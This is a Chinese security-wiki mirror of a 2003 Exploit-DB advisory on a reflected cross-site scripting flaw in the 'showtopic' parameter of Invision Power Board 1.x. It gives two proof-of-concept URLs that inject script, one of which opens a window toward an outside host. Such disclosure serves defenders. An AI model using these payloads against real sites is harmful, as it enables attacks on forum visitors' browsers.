Invision Power Board (IP.Board) 1.x – ‘index.php’ showtopic Cross-Site Scripting

Invision Power Board (IP.Board) 1.x – ‘index.php’ showtopic Cross-Site Scripting

漏洞ID 1054152 漏洞类型
发布时间 2003-09-09 更新时间 2003-09-09
图片[1]-Invision Power Board (IP.Board) 1.x – ‘index.php’ showtopic Cross-Site Scripting-安全小百科CVE编号 N/A
图片[2]-Invision Power Board (IP.Board) 1.x – ‘index.php’ showtopic Cross-Site Scripting-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23129
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8575/info

Invision Power Board is prone to a cross-site scripting vulnerability. It has been reported that a remote attacker may construct a malicious link to the index.php script and supply arbitrary HTML code as a value for the 'showtopic' URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link. 

http://www.example.com/index.php?showtopic='><script>window.open
(window.location.search.substring(79))
</script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision
http://www.example.com/?showtopic='><script>alert(window.document.url)</script><plaintext>

相关推荐: WaveNet IP 2400/2458 Denial of Service Vulnerability

WaveNet IP 2400/2458 Denial of Service Vulnerability 漏洞ID 1103190 漏洞类型 Unknown 发布时间 2001-05-09 更新时间 2001-05-09 CVE编号 N/A CNNVD-ID …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享